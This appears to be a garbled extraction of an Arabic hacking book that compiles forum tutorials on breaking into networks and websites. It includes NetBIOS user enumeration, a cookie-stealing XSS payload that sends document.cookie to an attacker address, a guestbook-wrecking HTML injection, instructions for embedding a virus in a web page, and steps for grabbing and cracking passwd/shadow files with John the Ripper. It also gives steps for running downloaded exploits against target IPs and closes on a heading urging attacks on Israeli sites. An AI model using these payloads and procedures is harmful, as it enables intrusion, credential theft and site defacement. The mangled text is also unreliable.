لز‪.‬م‬ ‫تحصل على ‪ username and password‬لي‬ ‫يوزر موهجود في المجال المر هو ‪ net user‬وهو‬ ‫يستعرضلك هجميع المستخدمين الموهجودين بالمجال‬ ‫لكن فيه طريقه للحصول على اسماء بالهبل ههههههه‬ ‫كيف ؟؟‬ ‫الن عندما يقو‪.‬م مستخد‪.‬م بتسجيل دتخول يقو‪.‬م هجهازه‬ ‫ليس فقط بتسجيل اسمه فقط بل اسم هجهازه يعني على‬ ‫سبيل المثال مدير الشبكه اذا صار عنده زحمه يشغل‬ ‫تخدمه اسمها مراقبه النظا‪.‬م حتى يعرف انه وصل للحد‬ ‫القصى‬ ‫عندما يقو‪.‬م مستخد‪.‬م بتسجيل الدتخول تقو‪.‬م تخدمه‬ ‫‪738‬‬<br /> <br /> ‫‪ Messenger Service‬بتسجيل اسم المستخد‪.‬م‬ ‫كاحد اسماء ‪ NetBios‬الموهجودين في الشبكه الي‬ ‫انت اساسا هجالس تبحث عنهم وعلى افتراض انك‬ ‫دتخلت على تخاد‪.‬م بعنوان ‪IP 200.200.200.200‬‬ ‫فأن اي شخص اذا قا‪.‬م بعمل ‪nbtstat -a‬‬ ‫‪ 200.200.200.200‬سيتكمن من معرفه اسم‬ ‫هجهازك واسم المستخد‪.‬م واذا كان هجهازك‬ ‫‪ MSBROWSER‬او ل ) سوف اتحدث عنها‬ ‫بالتفصيل (‬ ‫طيب لنفرض ان فيه شخص باسم ‪ John‬ورقم ‪IP‬‬ ‫‪200.200.200.50‬موهجود في الشبكه فانك اذا قمت‬ ‫بعمل ‪ Nbtstat -a 200.200.200.50‬را ح‬ ‫يضهرلك انه فيه شخص باسم ‪ john‬واسم هجهازه‬ ‫‪johnPC‬‬ ‫الن موهجود معك اسم مستخد‪.‬م ) احتمال يكون‬ ‫‪( Administrator‬طيب وش نسوي‬ ‫؟‬ ‫قو‪.‬م بتعطيل تخدمه ‪ Messenger Service‬في‬ ‫هجهزك ) ولن يتم تسجيل اسمك في النطاق يعني بتخش‬ ‫مخفي (‬ ‫وبالسنبه ل ‪ MSBROWSER‬اذا شفتها بعد عمل‬ ‫‪739‬‬<br /> <br /> ‫المر ‪nbtstat -a‬‬ ‫هذا يعني انه استعراض رئيسي للمجال وهذا من اكبر‬ ‫التخطاء التي يقومون بها مدراء الشبكات لن مراقب‬ ‫المجال يدوخ ل يستطيع التجميع وتستطيع استغلل‬ ‫مثل هذه الثغرات دائما في الشبكات الداتخليه‬ ‫طيب انت الن حصلت على اسم المتسخد‪.‬م‬ ‫انت محتاج كلمه المرور وهذي هي المشكله يعني انت‬ ‫ضميت هجهازك مع الشبكه لكن ماقدرت تحصل على‬ ‫كلمه المرور لكن تقدر تحصل عليها ‪nt senstiver‬‬ ‫او متحسس الشبكه ) معليش ماني متاكد من السبيلنق‬ ‫(‪.‬‬ ‫طيب كيف اقدر احصل فعليا على كلمه المرور‬ ‫غالبا ماتكون كلمات مرور المستخدمين تاففه هجدا هاذ‬ ‫اذا وهجدت اصل‬ ‫يعني برنامج مثل ‪ l0pthcrack‬يحل لك المشكله‪.‬‬ ‫انتهى‪،،،‬‬<br /> <br /> ‫‪740‬‬<br /> <br /> 741<br /> <br /> ‫" ‪" Cross Site Scripting‬‬ ‫>منقول من منتدى الحلم<‬ ‫>الكاتب‪<tcp :‬‬ ‫المتطلبات ‪:‬‬ ‫معرفة تامه بلغة ‪HTML‬‬ ‫اطلع غير متعمق على لغات السكربتينق وهي ‪JAV‬‬ ‫‪742‬‬<br /> <br /> ‫‪ASCRIPT ,PERL ,CGI ,VBSCRIPT‬‬ ‫ومن وهجهة نظر شخصية المصايب كلها من الجافا‬ ‫سكربت والهتمل‬ ‫=============================‬ ‫=============================‬ ‫=============================‬ ‫========‬<br /> <br /> ‫الهداف المنشوده ‪:‬‬ ‫* افها‪.‬م القارئ عن الكيفية التى يتم فيها سرقة‬ ‫معلومات هامه من هجهاز المستخد‪.‬م‬ ‫* اتختراق المنتديات من نوع ‪ VBULLETIN‬او‬ ‫‪ YaBB and UBB‬او المجلت من البهب نيوك او‬ ‫بوست نيوك‬ ‫*افها‪.‬م القراء عن الكيفية التي تتم فيها سرقة الكوكيز‬ ‫او اتختطاف الجلسة من المستخدمين‬ ‫‪743‬‬<br /> <br /> ‫* ان يستطيع القارئ توسيع مداتخل التختراق‬ ‫=============================‬ ‫=============================‬ ‫=============================‬ ‫=========‬ ‫هجمله عرضية ‪:‬‬ ‫التختراق ليس ال تشغيل للمخ واستغلل لشياء لها‬ ‫فائده وارهجو من يقرا هذا الموضوع بان يحاول التعود‬ ‫على مسألة القراءة والترهجمه ثم يلجأ الى التطوير‬ ‫ويترك عنه مسألة المطامر من منتدى لمنتدى او‬ ‫المواقع التي تطر ح الثغرات المنية ‪...‬هل نحتاج الى‬ ‫امة تطور نفسها ‪ ..‬ا‪.‬م نطور انفسنا نحو المية‬ ‫=============================‬ ‫=============================‬ ‫=============================‬ ‫‪744‬‬<br /> <br /> ‫=========‬ ‫المشكلة ‪:‬‬ ‫كما هو معروف فان مستعرضات الوب مثل الكسبلورر‬ ‫او نت سكيب ‪ ...‬الخ تاتي مترهجمات النصوص او‬ ‫السكربتات‬ ‫مبنية داتخلها ويتم ترهجمة السكربتات على هجهاز‬ ‫المستخد‪.‬م فلو اننا طلبنا صفحة كان بها سكربت معين‬ ‫فان المستعرض يترهجم هذا السكربت ويظهره على‬ ‫نفس الصفحه المطلوبه ‪.‬‬ ‫اما بالنسبة للمنديات او مجموعات النقاش فانها‬ ‫ترفض مثل هذه السكربتات وتعتبرها تخرق‬ ‫للخصوصية‬ ‫او قد تستغل في اغراض سيئة لسرقة معلومات‬ ‫حساسة من المستخدمين‬ ‫المثال التالي يوضح كيفية ادراج السكربت ‪:‬‬ ‫‪745‬‬<br /> <br /> ‫‪Hello FOLKS board. This is a‬‬ ‫‪.message‬‬ ‫>‪&lt;SCRIPT>malicious code</SCRIPT‬‬ ‫‪.This is the end of my message‬‬ ‫ان كلمة ‪ malicious code‬تم ادرهجها او حقنها‬ ‫في بين علمتي السكربت وقد تحتوي على كود تخبيث‬ ‫يسرق او يرسل بيانات ‪ ...‬الخ لذلك فان مصمموا‬ ‫برامج المنتديات ومطوروا يمنعونها ال اذا مكنها‬ ‫الدمن‬ ‫او المصمم او قد يتم استخدامها اذا مكن المنتدى تفيل‬ ‫‪ HTML‬مثل يتم ادراج السكربت مكان تخاصية المج‬ ‫>‪script>document.write('<img‬‬ ‫‪src="http://my_ip_address/'+docum‬‬ ‫‪<ent.cookie+'">';</script‬‬ ‫‪746‬‬<br /> <br /> ‫او قد يستطيع السكربت ان يكتب على شكل رابط في‬ ‫صفحة او يرسل لك بالبريد او يرسل لك عن طريق‬ ‫المسنجر‬ ‫والمثال التالي يوضح لك كيفية عمل رابط في صفحة‬ ‫>‪A‬‬ ‫‪HREF="http://example.com/commen‬‬ ‫?‪t.cgi‬‬ ‫‪mycomment=&lt;SCRIPT>malicious‬‬ ‫‪<code</SCRIPT>"> Click here</A‬‬ ‫انظر هنا وركز في كيفية عمل الكود انها فقط عندما‬ ‫يصلك باحد الطرق المذكوره اعله وتضغط عليه سينفذ‬ ‫السكربت‬ ‫وللشر ح اكثر لنفرض ان السكربت ‪comment.cgi‬‬ ‫سكربت يرسل ملحظاتك لصاحب الموقع او قد يكون‬ ‫سكربت للبحث‬ ‫في الموقع او المنتدى وهو يحتوي على متغير داتخله‬ ‫اسمه ‪ mycomment‬ياتخذ المدتخلت او الملحظات‬ ‫‪747‬‬<br /> <br /> ‫التي تكتبها‬ ‫فلو اعتبرناه انه سكربت بحث ويولد صفحات ديناميكية‬ ‫ناتجه من البحث ستكون النتائج وتخيمة فبدل ان‬ ‫ينتج الصفحات الحيوية او النشطه سينتج مايطلبه‬ ‫السكربت منه لحظ الفكره هنا فقد ضمن السكربت‬ ‫داتخل‬ ‫حقل نصي فبدل من ان ياتخذ الحقل النصي نصوص‬ ‫استخد‪.‬م ليأتخذ اوامر من السكربت ‪.‬‬ ‫وحتى اعقد المور اكثر لحظ المثال التالي ‪:‬‬ ‫>‪A‬‬ ‫‪HREF="http://example.com/commen‬‬ ‫‪t.cgi? mycomment=&lt;SCRIPT‬‬ ‫‪SRC='http://bad‬‬‫‪site/badfile'></SCRIPT>"> Click‬‬ ‫‪<here</A‬‬ ‫هنا استخد‪.‬م نفس السكربت السابق لكن هذه المره‬ ‫‪748‬‬<br /> <br /> ‫طوره اكثر ليكون مستخدما في ادراج ملف من موقع‬ ‫اتخر والذي‬ ‫هو بالسم ‪ BADFILE‬ولن مصدر البيانات ادتخل‬ ‫فيه عدة مصادر اتخرى عن طريق السكربت المذكور‬ ‫فأن هذا الهجو‪.‬م‬ ‫يسمى ب ‪ cross-site scripting‬او الترهجمه من‬ ‫عندي " برمجة عبور الموقع " لننا عبرنا باستخدا‪.‬م‬ ‫برمجة‬ ‫السكربتات اكثر من موقع واذا كنت تلحظ في‬ ‫السيكيورتي فوكس او المواقع المنيه تختصر ب‬ ‫‪ CSS‬وهي اتختصار‬ ‫ل ‪ cross-site scripting‬وليس ل‬ ‫‪ CASCADE style sheets‬اي اوراق النماط‬ ‫المتتالية‬<br /> <br /> ‫قد يدتخل بدل الوسم او علمة السكربت اي من الوسو‪.‬م‬ ‫التالية‬ ‫‪749‬‬<br /> <br /> ‫>‪SCRIPT>, <OBJECT>, <APPLET rel="nofollow">,‬‬ ‫‪<and <EMBED‬‬ ‫ومن الممكن ان يكون هناك وسم النماذج rel="nofollow">‪<form‬‬ ‫من وسو‪.‬م ‪ HTML‬وبنفس الفكار السابقة يمكن تنفيذ‬ ‫الوامر‬ ‫منها لسرقة الكوكيز او بيانات اتخرى او توهجيهك‬ ‫لصفحات اتخرى‬ ‫اذا كنت قرات ماكتبته عن التكويد السداسي عشر‬ ‫واليونيكود تستطيع الن ان تفهم ما اقصده‬<br /> <br /> ‫=============================‬ ‫============================‬ ‫ولمزيد من التفاصيل ‪:‬‬<br /> <br /> ‫‪750‬‬<br /> <br /> http://www.cert.org/advisorie s/CA-2000-02.html<br /> <br /> http://www.perl.com/pub/a/20 02/02/20/css.html<br /> <br /> ،،،‫انتهى‬<br /> <br /> " ‫" كود تدمير سجل الزوار‬ 751<br /> <br /> ‫>منقول من منتديات المهندس<‬ ‫>الكاتب‪ :‬العبقري<‬ ‫كود صغير هجدا بحجمه‪,‬كبير بقدرته على تدمير سجل‬ ‫الزوار بالكامل‪...‬انتم تعرفون طبعا كيفية عمل توقيع‬ ‫في سجل الزوار‪,‬السم‪ -‬اليميل‪ -‬موقعك الشخصي‪-‬‬ ‫تقديرك للموقع‪ -‬طريقة الستدلل‪......‬والنقطه المهمه‬ ‫وهي كتابة تعليقك على الموقع؟؟؟؟؟؟؟‬ ‫نحن سوف نضع كل شي حسب ما هو مطلوب ولكن‬ ‫عندما نأتي لكتابة التعليق‪...........‬نقف ونكتب‪:‬‬ ‫‪.‬‬ ‫‪.‬‬ ‫‪.‬‬ ‫‪.‬‬ ‫‪.‬‬ ‫‪.‬‬ ‫‪.‬‬ ‫‪.‬‬ ‫‪.‬‬ ‫‪.‬‬ ‫‪.‬‬ ‫‪752‬‬<br /> <br /> ‫‪.‬‬ ‫‪.‬‬<br /> <br /> ‫هذا هو الكود ‪:‬‬ ‫=============================‬ ‫=====================‬ ‫=‬ ‫‪h3>put your text‬‬ ‫‪--><here<xmp><plaintext‬‬ ‫=============================‬ ‫=====================‬<br /> <br /> ‫يمكنك كتابة اي شي تريد في مكان ‪put your text‬‬ ‫‪.... here‬وهذا كل شي ‪....‬بعد توقيعك اعمل ريفريش‬ ‫وانظر ماذا حصل‬ ‫‪753‬‬<br /> <br /> ‫ملحظه‪:‬‬ ‫=====‬ ‫الكود ل يعمل مع بعض انواع سجل الزوار؟!‬<br /> <br /> ‫انتهى‪،،،‬‬ ‫" وضع فايروس في صفحة "‬ ‫>منقول من منتدى إعصار<‬ ‫>الكاتب‪<Dr^FunnY :‬‬ ‫اتختار صفحة هجديدة ‪ ...‬هاتلقي تحت ثلث مربعات‬ ‫الول عادي والثاني ‪ html‬والثالث معاينة‬ ‫انت تخليك في العادي‬ ‫اتختار ادراج‬ ‫ثم اتختار مكون ويب‪ .....‬هايطلعلك هجدول صغير من‬ ‫‪754‬‬<br /> <br /> ‫تخانتين ‪ ...‬تخليك في الخانة الولى اللي على اليمين‬ ‫واتختار منها ااتخر اتختيار اللي هو "عناصر تحكم‬ ‫متقدمة" اضغط ضغطه واحده وهايظهرلك عناصر في‬ ‫الخانه اللي على اليسار اتختار اول اتختيار اللي هو "‬ ‫‪ ... "HTML‬هايفتحلك مربع تاني‪ ...‬انت عليك تحط‬ ‫في المربع ده كود الفيرس وتضغط موافق ‪ (:‬وكده‬ ‫الطبخة استوت ‪.‬‬ ‫واوعى تضغط على معاينة الصفة وانت معندكش‬ ‫نورتن لكن لو عندك هايديك تحذير بوهجود فيروس‬ ‫الطريقه للي عنده فرونت بيج عربي واللي عنده‬ ‫انجليزي هي نفس الخطوات مع تغيير السامي‪.‬‬<br /> <br /> ‫انتهى‪،،،‬‬<br /> <br /> ‫‪755‬‬<br /> <br /> ‫" الثغرااات "‬ ‫‪756‬‬<br /> <br /> ‫>منقول من موقع الجهاد<‬ ‫‪ = Exploit‬اسثمار = ثغرة‬ ‫الجزء المهم‪:‬‬ ‫الثغرات هي أتخطاء برمجية في نظا‪.‬م التشغيل ويمكنك‬ ‫استغللها للحصول على ملف الباسوورد وقاعدة‬ ‫البيانات وووو‪..‬إلخ‬ ‫أول يجب أن تجمع كل المعلومات الممكنة حول الموقع‬ ‫‪:‬‬ ‫‪ -1‬المنافذ المفتوحة مثل الف تي بي والتلنت مثل‬ ‫وهذ عن طريق برامج مثل‬ ‫‪super scan‬‬ ‫ابحث عنه في النترنت‪.‬‬ ‫‪ -2‬معرفة نظا‪.‬م تشغيل الموقع ويندوز أ‪.‬م لينوكس‬ ‫وغيرها والفائدة من ذلك أن كل نظا‪.‬م له ثغراته‬ ‫الخاصة به واسم المجلد الذي به ملف الباسوورد‬ ‫يختلف من نظا‪.‬م تشغيل لتخر‪.‬‬ ‫لمعرفة نظا‪.‬م التشغيل إذهب إلى الموقع‬ ‫‪www.netcraft.net‬‬ ‫واكتب الموقع ثم إنتر‪ !.!!..‬وستعرف بعض المعلومات‬ ‫عن الموقع كليبي ونظا‪.‬م التشغيل‪...‬إلخ‬ ‫‪757‬‬<br /> <br /> ‫‪ -3‬معرفة كل مايقدمه الموقع من تخدمات كالبريد‬ ‫وغير ذلك‬ ‫‪ -4‬معرفة البرامج المثبتة على الموقع مثل المنتديات‬ ‫وبرامج السي هجي آي‬ ‫أنواع الثغرات‬ ‫أبسط النواع هي التي يمكن الوصول إليها عن طريق‬ ‫المتصفح مثل‬ ‫‪/....../www.thesite.com‬‬ ‫والنواع الباقية أو الستثمارات ‪:‬‬ ‫ثغرات مكتوبة بلغة بيرل *‪pl.‬‬ ‫ويمكن استخدامها في لينوكس أو في ويندوز إذا كان‬ ‫لديك برنامج‬ ‫‪Active Perl‬‬ ‫ثغرات بلغة سي‬ ‫*‪ c.‬يمكن استخدامها في لينوكس فقط‬ ‫ثغرات بلغة شل‬ ‫*‪sh.‬ويمكن استثمارها في لينوكس فقط‬ ‫ويمكنك إيجاد الكثير من النواع السابقة الخاصة‬ ‫بلينوكس فيمواقع الثغرات وإليك بعضها‬ ‫‪www.securiteam.com‬‬ ‫‪www.securityfocus.com‬‬ ‫‪www.ukrt.f2s.com‬‬ ‫‪758‬‬<br /> <br /> ‫‪www.ussrback.com‬‬ ‫‪www.packetstorm.securify.co‬‬ ‫‪m‬‬ ‫‪www.secureroot.com‬‬ ‫‪www.rootshell.com‬‬ ‫أما ثغرات المتصفح يمكنك الكشف عنها بالبرامج‬ ‫الموهجودة في قسم البرامج‪.‬‬ ‫ويمكنك من تخلل البرامج الموهجودة على السيرفر‬ ‫كالمنتديات أو برمجيات بيرل وسيجي آي أن تبحث عن‬ ‫ثغرات لها في مواقع الثغرات أو المواقع‬ ‫السابقة‪.‬وبرمجيات بيرل وسي هجي آي قد تكون كتاب‬ ‫زوار أو محرك بحث أو حتى عداد زوار‬ ‫حسنا لنفرض أنك حصلت على ملف‬ ‫الباسوورد‪..‬المشكلة أن كلمةالسر تكون بداتخله مضللة‬ ‫‪ shadowed‬أو مشفرة ‪.encryption‬‬ ‫مثال لملف باسوورد‬ ‫‪root:x:0:1:Super-User:/:/sbin/sh‬‬ ‫‪daemon:x:1:1::/: bin:x:2:2::/usr/bin:‬‬ ‫‪sys:x:3:3::/:‬‬ ‫‪adm:x:4:4:Admin:/var/adm:‬‬ ‫‪lp:x:71:8:Line Printer‬‬ ‫‪Admin:/usr/spool/lp:‬‬ ‫‪759‬‬<br /> <br /> ‫‪smtp:x:0:0:Mail Daemon User:/:‬‬ ‫‪uucp:x:5:5:uucp‬‬ ‫‪Admin:/usr/lib/uucp:‬‬ ‫‪nuucp:x:9:9:uucp‬‬ ‫ولن ملف الباسوورد يحتوي على كلمات سر‬ ‫الشخاص المرتخص لهم بدتخول الموقع قد ل بزيد عن‬ ‫عشرة أسطر وقد يصل آلف السطر‪...‬‬ ‫كلمات السر السابقة مضللة وهي علمة ‪x‬وقد‬ ‫تختلف‪..‬‬ ‫أما المشفرة والتي سنحصل عليها تكون هكذا‪:‬‬ ‫مضللة ‪root:x:0:1:Super-‬‬ ‫‪User:/:/sbin/sh‬‬ ‫مشفرة‬ ‫‪root:Q71KBZlvYSnVw:0:1:Super‬‬‫‪User:/:/sbin/sh‬‬ ‫‪ = root‬أو الجذر اسم المستخد‪.‬م‬ ‫‪ = x‬كلمةالسر ولكنها مضللة‬ ‫وباقي السطر غير مهم‬ ‫في الغلب ستكون كلمة السر مضللة ‪shadowed‬‬ ‫لذا عليك أن تبحث عن ملف آتخر يحوي كلمة السر‬ ‫مشفرة يسمى ملف الشادو‬ ‫‪shadow file‬‬ ‫‪760‬‬<br /> <br /> ‫م‬.‫ويوهجد في أماكن معينة تختلف باتختلف نظا‬ ‫التشغيل‬ ‫ = الرمز الذي يعبر عن الباسوورد‬token Linux : /etc/shadow *= token SunOS : /etc/shadow * ‫ = يأتخذ أشكال متعدده اشهرها هو‬token FreeBSD : /etc/master.passwd or x ‫ = * والجديد هو‬/etc/shadow token IRIX : /etc/shadow token = x AIX : /etc/security/passwd != token ConvexOS : /etc/shadow or /etc/shadpw * = token ‫مثال لملف شادو‬ 761<br /> <br /> ‫‪root:EpGw4GekZ1B9U:11390::::::‬‬ ‫‪::::::bin:NP:6445:::::: sys:NP:6445‬‬ ‫‪adm:IyEDQ6VoRlLHM:10935::::::‬‬ ‫‪#admin:9z8VMm6Ovcvsc:10935::::::‬‬ ‫‪::::::lp:NP:6445‬‬ ‫نجد أن كلمة السر هي‬ ‫‪EpGw4GekZ1B9U‬‬ ‫كيف تفك التشفير؟‬ ‫عن طريق برامج مخصصة لذلك أفضلها تجده في‬ ‫صفحة برامج الثغرات‬ ‫‪John the ripper‬‬ ‫وهو يقو‪.‬م بتجريب كل المحاولت الممكنة حتى يحصل‬ ‫على الباسوورد ‪.‬‬ ‫ولكن يجب أن تضع له الباسووردات في ملف مفكرة‬ ‫مثل وعليك وضع الكلمة المشفرة بدل من ال ‪x‬‬ ‫وعليك ترتيبها بحيث يكون كل حساب في سطر‬ ‫طريقة تشغيله‪:‬‬ ‫إذهب إلى الدوس واكتب‬ ‫‪john passwd‬‬ ‫حيث ‪ passwd‬هو الملف الذي به الباسوورد‬ ‫المشفرة وضعتها‬ ‫سيظهر ‪:‬‬ ‫‪762‬‬<br /> <br /> ‫‪by Sola 97,John the Ripper Version‬‬ ‫‪1.3 Copyright (c) 1996‬‬ ‫‪Loaded 1 password‬‬ ‫**‪v: 0 c: 6401 t: 0:00:00:01 99% c/s:‬‬ ‫‪6401 w: *****DONE‬‬ ‫وإذا أردت معرفة الباسوورد التي يخمنها الن اضغط‬ ‫انتر‬ ‫والباسوورد الصحيحة ستحفظ في ملف في نفس‬ ‫المجلد الذي به البرنامج اسمه‬ ‫‪john.pot‬‬ ‫وإذا أردت القيا‪.‬م بعملية كسر أتخرى عليك إلغاء الملف‬ ‫أو تغيير اسمه ‪.‬‬<br /> <br /> ‫انتهى‪،،،‬‬ ‫" شرح شبه مفصل عن الثغرات "‬ ‫>منقول من منتدى إعصار<‬ ‫>الكاتب‪< icer :‬‬ ‫‪763‬‬<br /> <br /> ‫الموضوع اليو‪.‬م ينقسم الى التالي ‪:‬‬ ‫‪ 1‬كيف تجد اكسبلويتات ؟‬ ‫‪2‬كيف تستعمل الكسبلويتات ) دعونا نسميها‬ ‫استثمارات ( ؟‬ ‫‪ 3‬انواع مختلفه من الستثمارات ‪...‬‬ ‫‪ 4‬مواقع مفيده للبحث عل الثغرات ‪...‬‬ ‫×××××××××××××××××××××××××××××‬ ‫×××××××××××××××××××××‬ ‫×××××××××××××××××××××‬ ‫‪: a face at the interface‬‬ ‫الستثمارات تستخد‪.‬م عاده لكي تحصل عل الرووت عل‬ ‫نظا‪.‬م معين ‪..‬و الرووت هو عباره‬ ‫عن الدمينيستراتور او مدير النظا‪.‬م الذي تريد اتختراقه‬ ‫‪...‬الستثمارات دايما ما توهجد‬ ‫بواسطه ملف معين يجعك تستطيع الدتخول بواسطه ال‬ ‫‪ http‬بصوره طبيعبه ‪..‬‬ ‫لذلك نستخد‪.‬م ‪ scanner‬لبحث عن هذا الستثمار‬ ‫‪....‬يو هجد العديد من الستثمارات مثل‬ ‫‪BOF (buffer over flow) , DoS ( denial‬‬ ‫‪, (of service‬‬ ‫و على فكره انا ا اؤمن ان ال هجو‪.‬م ال ‪ DoS‬هي‬ ‫اكسبلويت ‪...‬‬ ‫‪764‬‬<br /> <br /> ‫و يوهجد ايضا الثغرات التي تتيح لك تنفيذ بعض الوامر‬ ‫مثل عرض و مسح و الكتايه على الملفات‬ ‫مث الكستينشنز و غيرها ‪....‬بالنسبه لموضوع البوفر‬ ‫اوفر فلو فهو يشبه الى حد كبير‬ ‫ال ‪ DoS‬حيث يعتمد على ارباك السيرفير بفيض من‬ ‫المعلومات و يمنحك الرووت ‪.‬‬ ‫اما هجو‪.‬م ال ‪ DoS‬فهو عباره عن ارسال ‪GET /‬‬ ‫‪ POST‬ال السيرفير مما يؤدي ال‬ ‫حدوث ‪ OVERLOAD‬لوحده المعالجه المركزيه‬ ‫للسيرفير )اللي هو عباره عن هجهاز يعمل‬ ‫‪ 24‬ساعه ( فيتوقف الموقع عن العمل و يصبح‬ ‫السيرفير ‪.... OFFLINE‬‬ ‫×××××××××××××××××××××××××××××‬ ‫×××××××××××××××××××××‬ ‫×××××××××××××××××××××××××××××‬ ‫‪ 1‬كيف تجد استثمارات ؟‬ ‫لكي تستطيع ان تستثمر ثغره معينه في سيرفير فانه‬ ‫يجب عليك اول ان تتاكد ان الثغره موهجوده في‬ ‫السيرفير‬ ‫و لما كان الستثمار عباره عن فايل معين ‪..‬فانه يوهجد‬ ‫طريقتين لمعرفه ما اذا كانت الثغره موهجوده ا‪.‬م ل‪..‬‬ ‫‪765‬‬<br /> <br /> ‫اما عن طريق التطبيق مباشره من تخلل المتصفح كما‬ ‫في حاله بعض ثغرات امتصفح مثل اليونيكود او‬ ‫الفرونت بيج‬ ‫او ان تستخد‪.‬م السكانرز في فحص الموقع ‪..‬طبعا من‬ ‫المعروف ان ثغرات المتصفح لها سكانرز ال‬ ‫‪threads‬‬ ‫و هي تسمى ال ‪ cgi scaners‬بعضها ممكن ان‬ ‫تضيف له ملفات بها ثغرات و البعض التخر يكون‬ ‫هجاهزا ‪..‬‬ ‫و هناك نوع اتخر من السكانرز و ان احبذه ‪...‬‬ ‫‪<<< shadow security scaner‬‬ ‫‪.....‬على فكره من احسن المواقع التي يمكن ان تجد‬ ‫بها احدث الثغرات هو ‪ rootshell.com‬و هو‬ ‫يحتوي على‬ ‫محرك بحث يكفي ان تضع مفتا ح للبحث عباره عن‬ ‫كلمه واحده او كلمتان مثل ‪ red hat 7.2‬و سوف‬ ‫تجد العديد من الثغرات التي تحتوي على‬ ‫‪...... red hat 7.2‬‬ ‫×××××××××××××××××××××××××××××‬ ‫×××××××××××××××××××××‬ ‫×××××××××××××××××××××××××××××‬ ‫‪766‬‬<br /> <br /> ‫×××××‬ ‫‪ 2‬كيف تستغل هذه الثغرات ؟؟‬ ‫الكثير من الناس عندما يفحصون موقع بسكانر )و‬ ‫تخاصه ال ‪ ( shadow‬و يطلع لهم استثمارات معينه‬ ‫‪..‬ل يعرفون ايش يسوون‬ ‫بعد كذا؟؟؟؟‪...‬‬ ‫لو انت بتستعمل الشادو حتلقي ‪ url‬بجانب الثغره‬ ‫‪..‬تزرو العنوان ده و تقره كل كلمه تلقيها هناك ‪..‬‬ ‫او اذا لم تجد اي ‪ url‬في السكانرز التخرى يبقى تاتخد‬ ‫اسم اثغره و ترو ح الموقع ‪rootshell.com‬‬ ‫و تكتب في محرك البحث اسم الثغره و انت ان شاء‬ ‫ال في ‪ %99‬من الحالت بتلقي استثمار لهاي‬ ‫الثغره‪..‬‬ ‫و كيف تستخدمها و اشياء زي كده ‪.......‬‬<br /> <br /> ‫×××××××××××××××××××××××××××××‬ ‫×××××××××××××××××××××‬ ‫×××××××××××××××××××××××××××××‬ ‫××××‬ ‫‪ 3‬انواع مختلفه من الستثمارات ‪:‬‬ ‫‪767‬‬<br /> <br /> ‫طبعا الكثير من الستثمارات يكون هدفها هو منحك‬ ‫الرووت على السيرفير ‪..‬معنى كلمه رووت هو المدير‬ ‫او الدمين ‪ ..‬ل يوهجد اي قيود على ال‬ ‫‪ commands‬اللي الرووت يكتبها ‪..‬اي لك كل‬ ‫الصلحيات على السيرفير‬ ‫و الحصول على الرووت يمكن ان يتم من تخلل العديد‬ ‫من الثغرات مثل ثغرات ال ‪ , http‬و ال ‪ BOF‬و‬ ‫غيرها ‪..‬‬ ‫كها تعتمد على طريقه عمل الثغرات ‪ ..‬فهي قد تعطي‬ ‫لك صلحيه قراءه و حذف و الكتابه عل الملفات و‬ ‫ايضا‬ ‫رفع ملفات الى السيرفير ‪....‬‬ ‫او قد تعطي لك الكلمه السريه و اسم اليوزر اما في‬ ‫صوره واضحه مثل الملف ‪ config.inc‬او مشفره‬ ‫بمقياس‬ ‫‪ ... DES/MD5‬كما في الملف ‪/‬‬ ‫‪ .... etc/passwd‬في انظمه اليونيكس ‪...‬‬ ‫بالنسبه للبفر اوفر فلو فهو يشبه الى حد كبير هجو‪.‬م‬ ‫ال ‪ DoS‬و لكنه ل يسبب ضرر للسيرفير مثلما يسببه‬ ‫هجو‪.‬م ال ‪ DoS‬المهم انه في اغلب الحيان يكون‬ ‫البفر عباره عن ارسال اوامر للسيرفير تنتهي دائما‬ ‫باعطائك‬ ‫‪768‬‬<br /> <br /> ‫صلحيه الرووت ‪ ...‬و هذا بسبب استقبال السيرفير‬ ‫لكم هائل من الداتا فيؤدي الى ارباك السيرفير ‪..‬‬ ‫×××××××××××××××××××××××××××××‬ ‫×××××××××××××××××××××‬ ‫×××××××××××××××××××××××××××××‬ ‫××××‬ ‫‪ 4‬مواقع مفيده للبحث عن الثغرات من تخللها ‪:‬‬ ‫يمكنك البحث عن الستثمارات الجديده في هذه المواقع‬ ‫‪:‬‬ ‫‪packetstorm.securify.com‬‬ ‫‪/.securityfocus.com‬‬ ‫‪/www.insecure.org‬‬ ‫‪ /www.rootshell.com‬و غيرها ابحث سوف‬ ‫تجد المزيد ‪.(:‬‬<br /> <br /> ‫انتهى‪،،،‬‬<br /> <br /> ‫‪769‬‬<br /> <br /> ‫" كيف تستخد م الثغرات "‬ ‫>منقول<‬ ‫>الكاتب‪<oOoDa BE$T :‬‬ ‫البداية‪:‬‬ ‫‪txt. :‬‬ ‫ويعني ملف ملف نصي‪..‬من الممكن اي يحتوي على‬ ‫سورس كود لبعض الثغرات او البرامج المكتوبة‬ ‫‪770‬‬<br /> <br /> ‫بالسي ‪ ,‬البير‪..‬اكمل القراءة لتعرف كيفية‬ ‫استخدامها‪..‬‬ ‫‪c. :‬‬ ‫هو برنامج سي لكنه سورس كود فقط‪..‬واغلب‬ ‫الثغرات يتم كتابتها بالسي‪..‬هذا يفترض عليك‬ ‫عليك تحميله ثم عمل )‪_ (compile‬وهذا يعني‬ ‫تحويل السورس كود لملف )برنامج(_ ثم تثو‪.‬م‬ ‫بتشغيله‪...‬لكن المشكلة هنا انه لن يمكن تشغيلها تحت‬ ‫بيئة ويندوز‪..‬فيجب ان يكون عندك ‪ Linux‬او‬ ‫‪.. Shell Account‬‬ ‫بعض التحميل توهجه للمسار الموهجود به المفل ثم‬ ‫اكتب‪:‬‬ ‫‪ >---- gcc filenmae.c‬امر الكومبايل‬ ‫سينتج الملف‪:‬‬ ‫‪ >--- a.out‬وهو البرنامج الناتج‪..‬‬ ‫والن ماذا ينقصك؟؟‬ ‫يجب ان يكون معك اي بي او اسم الموقع الذي تريد‬ ‫ان تطبق عليه الثغرة‪..‬‬ ‫كمثال‪:‬‬ ‫‪771‬‬<br /> <br /> a.out xxx.xxx.xxx.xxx/. :‫للثغرات المكتوبة بالبيرل‬ pl. : ‫ او‬Linux ‫لتشغيله ايضا تحتاج‬..‫برنامج بيرل‬ Shell Account :‫ واردت ان تطبقه على موقع اكتب‬exploit ‫اذا كان‬ perl filename.pl xxx.xxx.xxx.xxx ‫او‬ filename xxx.xxx.xxx.xxx/. ،،،‫انتهى‬<br /> <br /> 772<br /> <br /> ‫" تمتع بإوختراق المواقع السرائيلية‬ ‫مع هذه الثغر ة "‬ ‫>منقول من منتديات شبكة الحز‪.‬م<‬ ‫>الكاتب‪<DeadLine :‬‬ ‫الشر ح 